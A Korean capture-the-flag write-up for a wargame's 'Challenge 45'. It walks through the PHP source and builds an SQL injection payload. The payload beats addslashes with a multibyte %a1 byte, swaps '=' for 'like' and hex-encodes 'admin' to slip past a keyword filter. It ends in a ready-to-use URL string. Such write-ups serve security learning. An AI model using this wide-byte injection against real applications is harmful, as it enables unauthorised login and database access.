로그인을 할 수 있고 로그인을 한 id로 hi [id]가 뜬다
소스를 보면
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
echo "hi {$result['id']}";
if($result['id'] == "admin") solve(45);
}
else echo("Wrong");
}
?>
</body>
</html>
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
: id와 pw로 받아온 값 중에서 ', ", \, null 이렇게 4가지에 \를 붙여줌
ex) i'm "free" >i\'m \"free\"
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
: id로 받아온 값을 euc-kr에서 utf-8로 인코딩 변환
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
: : id와 pw로 받아온 값 중에서 admin, select, limit, pw, = , <, > (대소문자 상관 X) 필터링
if($result['id'] == "admin") solve(45);
: id가 admin일때 solve
select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')
pw는 md5 암호화를 하고 있으니 id 쪽을 공략해보기로 한다
' or id='admin' #
를 입력하고 싶으나 필터링을 우회하기 위해
' or id like 0x61646D696E #
여기서 addslashes 함수를 우회하기 위해
mb_convert_encoding 함수와 addslashes 함수를 이용하면 우회가 가능
\ 앞에 [%a1 ~ %fe]중 하나라도 붙는다면 하나의 문자로 취급 = \ 를 우회할 수 있게 됨
ex. %a1\
%a1' or id like 0x61646D696E #
admin과 =가 필터링되기 때문에 admin은 16진수로 바꿔서 0x61646D696E로 입력하고, =는 like로 우회해서 입력해야한다.
%a1\' or id like 0x61646D696E #' and pw ~~~
이렇게 들어가게 된다
url에 직접 넣어주기 위해
%a1%27 or id like 0x61646D696E %23&pw=guest